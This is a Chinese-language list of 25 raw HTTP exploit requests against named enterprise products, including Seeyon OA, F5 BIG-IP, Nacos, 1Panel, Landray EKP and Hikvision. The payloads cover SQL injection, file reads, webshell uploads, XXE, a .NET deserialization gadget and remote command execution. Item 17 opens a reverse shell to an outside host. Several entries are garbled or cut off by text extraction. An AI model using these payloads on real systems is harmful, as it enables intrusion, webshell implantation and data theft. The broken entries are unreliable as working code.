1.通天星 CMSV6 车载定位监控平台 disable SQL 注入漏洞

```
GET
/edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
```

2.亿赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL 注入漏洞

```
POST /CDGServer3/NetSecConfigAjax;Service HTTP/1.1
Host:
Cookie: JSESSIONID=99CEC1B294F4EEEA7AFC46D8D4741917;
JSESSIONID=06DCD58EDC037F785605A29CD7425C66
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer:
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
command=updateNetSec&state=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
```

3.致远在野 nday constDef 接口存在代码执行漏洞

```
GET
/seeyon/constDef.do?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22../webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder().decode(%22PCUKaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImYiKSE9bnVsbCkobmV3IGphdmEuaW8uRmlsZU91dHB1dFN0cmVhbShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aCgiXFwiKStyZXF1ZXN0LmdldFBhcmFtZXRlcigiZiIpKSkud3JpdGUocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInQiKS5nZXRCeXRlcygpKTsKJT4=%22)));%22&constDescription=123&constType=4 HTTP/1.1
Host: {{Hostname}}
```

4.亿赛通电子文档安全管理系统 NoticeAjax 接口存在 SQL 注入漏洞

```
POST /CDGServer3/NoticeAjax;Service HTTP/1.1
Host: ip:8443
Cookie: JSESSIONID=A7058CC5796E5F433F2CC668C7B7B77D;
JSESSIONID=0E09F2450421C51339E5657425612536
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
command=delNotice&noticeId=123';if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR
DELAY '0:0:5'--
```

5.天问物业 ERP 系统 AreaAvatarDownLoad.aspx 任意文件读取漏洞

```
GET /HM/M_Main/InformationManage/AreaAvatarDownLoad.aspx?AreaAvatar=../web.config
HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

6.福建科立讯通信 指挥调度管理平台 ajax_users.php SQL 注入漏洞

```
POST /app/ext/ajax_users.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Type: application/x-www-form-urlencoded

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,user(),0x7e),NULL,NULL,NULL-- -
```

7.微信公众平台无限回调系统 userajax.php SQL 注入漏洞

```
POST /user/ajax.php?act=siteadd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

siteUrl=';select sleep(5)#'
```

8.致远互联 OA fileUpload.do 文件上传漏洞

```
POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host: {{Hostname}}
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=skdHHhNHjhnUgerSexsksboundary
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="type"

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="extensions"

png
--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="applicationCategory"

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="destDirectory"

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="destFilename"

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="maxSize"

--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="isEncrypt"

false
--skdHHhNHjhnUgerSexsksboundary
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf

<% out.println("hello test");%>
<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(reques
t.getParameter("t").getBytes());
%>
--skdHHhNHjhnUgerSexsksboundary--
```

9.F5 BIG-IP TMUI 请求走私造漏洞(CVE-2023-46747)

```
payload:hex_decode("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0
000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000
003000b546d75692d44756262756600000b4242424242424242424200000a52454d4f5445524
f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6
f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d75692532667
3797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746
d756925326673797374656d25326675736572253266637265617465 2e6a737025336626666f726
d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494
c3452556e537758596f5055494f47634f4678326f3030586325336426 5f62756676616c75655f626
5666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746
f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d26
6e616d653d6161616161266e616d655f6265666f72653d267061737377643d6161616262626363
6364646426706173737645f6265666f72653d2666696e69736865643d782666696e6973686564
5f6265666f72653d00ff00")

POST /tmui/login.jsp HTTP/1.1
Host: {{Hostname}}
Transfer-Encoding: chunked, chunked
Content-Type: application/x-www-form-urlencoded

204
{{ payload }}
0
```

10.F5 BIG-IP TMUI 请求走私导致远程命令执行(CVE-2023-46747)#命令执行

```
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
X-F5-Auth-Token: ICGZXJJROASFRPWYZF3EAQFCGN
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}
```

11.万户 OA 系统 DocumentEdit_unite.jsp 存在前台 SQL 注入漏洞

```
GET
/defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?
DocumentID=1';WAITFOR%20DELAY%20'0:0:5'-- HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
```

12.Nacos Server 远程代码执行漏洞

```
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=bc8cdfdbc1f0db2be705bffb34f6980c

--bc8cdfdbc1f0db2be705bffb34f6980c
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.hlMakKPL', 0)

        CALL
SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hlMakKPL')

        CREATE FUNCTION S_EXAMPLE_hlMakKPL( PARAM VARCHAR(2000)) RETURNS
VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME
'test.poc.Example.exec'
```

13. Nacos Server 远程代码执行漏洞#2 derby SQL 执行

```
GET
/nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXA
MPLE_zgLmOVrb%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FET
CH+NEXT%2A%2F HTTP/1.1
```

14. 1Panel 面板前台 SQL 注入导致远程代码执行漏洞

(CVE-2024-39911)

```
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: ua', 'test.com', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847,
'/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE
'/www/sites/index/index/test.com.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO
test.exp (dataz) VALUES ('<?php phpinfo();?>');#
```

15. 致远互联 AnalyticsCloud 分析云存在任意文件读取漏洞

```
GET
/a/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%
252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/c:/windows/win.ini
HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770.100 Safari/537.36
```

16. 蓝凌 EKP 前台远程代码执行#1 路径覆盖 sys_ui_component

```
POST /sys/ui/sys_ui_component/sysUiComponent.do HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL7ILSpOdIhIIvL51
X-Requested-With: XMLHttpRequest

------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition: form-data; name="method"

replaceExtend
------WebKitFormBoundaryL7ILSpOdIhIIvL51
Content-Disposition: form-data; name="extendId"

../../../../resource/help/sys/portal/
------WebKitFormBoundaryL7ILSpOdIhIIvL51
```

```
Content-Disposition: form-data; name="folderName"

../../../ekp/sys/common
------WebKitFormBoundaryL7ILSpOdIhIIvL51--
```

17. 蓝凌 EKP 前台远程代码执行#2 代码执行 dataxml.jsp

```
POST /resource/help/sys/portal/dataxml.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded

s_bean=ruleFormulaValidate&script=try {String cmd = "sh -i >& /dev/tcp/r. X.X.X.X .info/9001
0>&1";Process child = Runtime.getRuntime().exec(cmd);} catch (IOException e)
{System.err.println(e);}&returnType=int&modelName=test
```

18. 用友 U8 cloud MonitorServlet 反序列化漏洞

```
POST/service/~iufo/nc.bs.framework.mx.monitor.MonitorServletHTTP/1.1
Host:
User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)
AppleWebKit/537.36(KHTML,likeGecko)Chrome/116.0.0.0Safari/537.36
```

19. 华磊科技物流系统 modifyInsurance SQL 注入漏洞

```
GET
/modifyInsurance.htm?documentCode=-1&insuranceValue=-1&customerId=-1+and+1=(select+1
+from+pg_sleep(6)) HTTP/1.1
Host: {{Hostname}}
```

20. 科讯一卡通管理系统 getRechargeToICCard 存在 SQL 注入漏洞

```
GET /api/get_kq_tj_today?KaID=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

```
Cookie: ASP.NET_SessionId=jnrsflsiiytj4qk1t0amey01; ValidateCode=qnqu;
PHPSESSID=nf4l7k9jlrlub85at21bp47au0; login=admin; skincolor=
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Priority: u=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101
Firefox/127.0
```

21. EnjoyRMIS 系统 cwsoa.asmx SQL 注入漏洞

```
POST /EnjoyRMIS_WS/WS/POS/cwsoa.asmx HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetOAById"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetOAById xmlns="http://tempuri.org/">
      <sId>string' AND 8448 IN (SELECT
(CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8448=8448)
THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'OFyo'='OFyo</sId>
    </GetOAById>
  </soap:Body>
</soap:Envelope>
```

22. 全行业小程序运营系统接口 Wxapps.php 存在任意文件上传漏洞

```
POST /api/wxapps/wxupimg HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGBhBIC624F4IANg

------WebKitFormBoundary03rNBzFMIytvpWhy
```

```
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
```

23. 广联达 OA 接口 ArchiveWebService 存在 XML 实体注入漏洞

```
POST /GB/LK/Document/ArchiveService/ArchiveWebService.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://GB/LK/Document/ArchiveService/ArchiveWebService.asmx/PostArchiveInfo"
:
<?xml version="1.0" encoding="utf-8"?: <?xml version="1.0" encoding="utf-8"?>
<soap: Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap: Body>
      <PostArchiveInfo xmlns="http:
//GB/LK/Document/ArchiveService/ArchiveWebService.asmx">

<archiveInfo>&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x41;&#x7
2;&#x63;&#x68;&#x69;&#x76;&#x65;&#x20;&#x5b;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#
x21;&#x45;&#x4e;&#x54;&#x49;&#x54;&#x59;&#x20;&#x73;&#x65;&#x63;&#x72;&#x65;&#x74;
&#x20;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4d;&#x20;&#x22;&#x66;&#x69;&#x6c;&#x65;&#x
3a;&#x2f;&#x2f;&#x2f;&#x77;&#x69;&#x6e;&#x64;&#x6f;&#x77;&#x73;&#x2f;&#x77;&#x69;&#x
6e;&#x2e;&#x69;&#x6e;&#x69;&#x22;&#x3e;&#x0a;&#x5d;&#x3e;&#x0a;&#x0a;&#x3c;&#x41;&
#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20
;&#x3c;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x49;&#x6e;&#x66;&#x6f;&#x3e;&#x
20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x55;&#x70;&
#x6c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x49;&#x44;&#x3e;&#x0a;&#x23;&#x23;&#x23;&#x23;
&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x0a;&#x0a;&#x0a;&#x26;&#x73;&#x
65;&#x63;&#x72;&#x65;&#x74;&#x3b;&#x0a;&#x0a;&#x0a;&#x23;&#x23;&#x23;&#x23;&#x23;&
#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x23;&#x0a;&#x3c;&#x2f;&#x55;&#x70;
&#x6c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x49;&#x44;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x2
0;&#x20;&#x20;&#x3c;&#x2f;&#x41;&#x72;&#x63;&#x68;&#x69;&#x76;&#x65;&#x49;&#x6e;&#
x66;&#x6f;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x52;&#x65;&#x73;
&#x75;&#x6c;&#x74;&#x3e;&#x20;&#x20;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x
20;&#x20;&#x3c;&#x4d;&#x61;&#x69;&#x6e;&#x44;&#x6f;&#x63;&#x3e;&#x44;&#x6f;&#x63;&
#x75;&#x6d;&#x65;&#x6e;&#x74;&#x20;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x3c;
```

/MainDoc>
     </Result>
    <DocInfo>
        <DocTypeID>1</DocTypeID>
         <DocVersion>1.0</DocVersion>
    </DocInfo>
</Archive>
archiveInfo: <archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>
    <ArchiveInfo>
        <UploaderID>
##############

&secret;

###############
</UploaderID>
    </ArchiveInfo>
    <Result>
        <MainDoc>Document Content</MainDoc>
    </Result>
    <DocInfo>
        <DocTypeID>1</DocTypeID>
         <DocVersion>1.0</DocVersion>
    </DocInfo>
</Archive>
<archiveInfo><!DOCTYPE Archive [
    <!ENTITY secret SYSTEM "file:///windows/win.ini">
]>

<Archive>
    <ArchiveInfo>
        <UploaderID>
##############

&secret;

##############
</UploaderID>
    </ArchiveInfo>
    <Result>
            <MainDoc>Document Content</MainDoc>
    </Result>
        <DocInfo>
            <DocTypeID>1</DocTypeID>
            <DocVersion>1.0</DocVersion>
            </DocInfo>
</Archive>
        <folderIdList>string</folderIdList: <folderIdList>string</folderIdList>
        <platId>string</platId: <platId>string</platId>
    </PostArchiveInfo: </PostArchiveInfo>

```
   </soap: Body>
</soap: Envelope>
```

24. 海康威视综合安防管理平台/center/api/installation/detection 远程命令执行漏洞

```
POST /center/api/installation/detection HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8

{"type":"environment","operate":"","machines":{"id":    "$(id > /opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/1.txt)"}
```

25. 浪潮云财务系统 bizintegrationwebservice.asmx 命令执行漏洞

```
POST /cwbase/gsp/webservice/bizintegrationwebservice/bizintegrationwebservice.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/GetChildFormAndEntityList"
cmd: whoami

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetChildFormAndEntityList xmlns="http://tempuri.org/">
      <baseFormID>string</baseFormID>
      <baseEntityID>string</baseEntityID>
```

<strFormAssignment>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3Jtcy
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUBAAAAEVByb
3BlcnR5QmFnQmluYXJ5BwICAAAACQMAAAAPAwAAAMctAAACAAEAAAD/////AQAAAAAAAAAEA
QAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1z
Y29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW4
9Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgA
AAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKA
AAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABhU3lzdGVtLldvcmtm
bG93LkNvbXBvbmVudE1vZGVsLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgU
HVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb
25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3
Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0
ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQA
AAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAA
AAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwA
AAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG
9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZ
WYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbG
VjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAE
AAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuI
GluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwBrydRkAAAAAAAAAADgAAIhCwELAAAIAAA
ABgAAAAAAN4mAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAgAAAA
AIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAACQJgAASwAAAA
BAAACoAgAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAggAABIAAA
AAAAAAAAAAAudGV4dAAAAOQGAAAAIAAAAAgAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzc
mMAAACoAgAAAEAAAAAEAAAACgAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgA
AAAgAAAA4AAAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAwCYAAAAAABIAAA
AAgAFADAhAABgBQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAbMAMAwwAAAAEAABECKAMAAAooBAAACgoGbwUAAApvBgA
ACgZvBwAACm8IAAAKcwkAAAoLB28KAAAKcgEAAHBvCwAACgZvDAAACm8NAAAKchEAAHBvDgA
ACgwHbwoAAApyGQAAcAgoDwAACm8QAAAKB28KAAAKF28RAAAKB28KAAAKF28SAAAKB28KAA
AKFm8TAAAKB28UAAAKJgdvFQAACm8WAAAKDQZvBwAACglvFwAACt4DJt4ABm8HAAAKbxgAAA
oGbwcAAApvGQAACioAARAAAAAAIgCHqQADDgAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwM
zE5AAAAAAUAbAAAALwBAAAjfgAAKAIAAHQCAAAjU3RyaW5ncwAAAACcBAAAJAAAACNVUwDAB
AAAEAAAACNHVUlEAAAA0AQAAJAAAAAjQmxvYgAAAAAAAAACAAABRxQCAAkAAAAA+iUzABYAA
AEAAAAOAAAAAgAAAAEAAAAZAAAAAgAAAAEAAAABAAAAAwAAAAACgABAAAAAAAGACkAIgA
GAFYANgAGAHYANgAKAKgAnQAKAMAAnQAKAOgAnQAOABsBCAEOACMBCAEKAE8BnQAOAIYBZ
wEGAK8BIgAGACQCGgIGAEQCGgIGAGkCIgAAAAAAAQAAAAAAAQABAAAAEAAXAAAABQABAAEA
UCAAAAAAhhgwAAoAAQARADAADgAZADAACgAJADAACgAhALQAHAAhANIAIQApAN0ACgAhAPU
AJgAxAAIBCgA5ADAACgA5ADQBKwBBAEIBMAAhAFsBNQBJAJoBOgBRAKYBPwBZALYBRABBAL0B
MABBAMsBSgBBAOYBSgBBAAACSgA5ABQCTwA5ADECUwBpAE8CWAAxAFkCMAAxAF8CCgAxAG

UCCgAuAAsAZQAuABMAbgBcAASAAAAAAAAAAAAAAAAAAAAAAJQAAAAEAAAAAAAAAAAAAAAB
ABkAAAAAAAQAAAAAAAAAAAAAABMAnQAAAAAABAAAAAAAAAAAAAAAAQAiAAAAAAAAAAAA8
TW9kdWxlPgBrd3V3YWNwdy5kbGwARQBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AC5jdG9yAFN5c3
RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYn
V0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBrd3V3YWNwdwBTeXN0ZW0uV2ViAEh0
dHBDb250ZXh0AGdldF9DdXJyZW50AEh0dHBTZXJ2ZXJVdGlsaXR5AGdldF9TZXJ2ZXIAQ2xlYXJFcnJv
cgBIdHRwUmVzcG9uc2UAZ2V0X1Jlc3BvbnNlAENsZWFyAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZ
XNzAFByb2Nlc3NTdGFydEluZm8AZ2V0X1N0YXJ0SW5mbwBzZXRfRmlsZU5hbWUASHR0cFJlcXVlc3
QAZ2V0X1JlcXVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNv
bGxlY3Rpb24AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnR
zAHNldF9SZWRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V
0X1VzZVNoZWxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGdldF9TdGFuZ
GFyZE91dHB1dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0aW
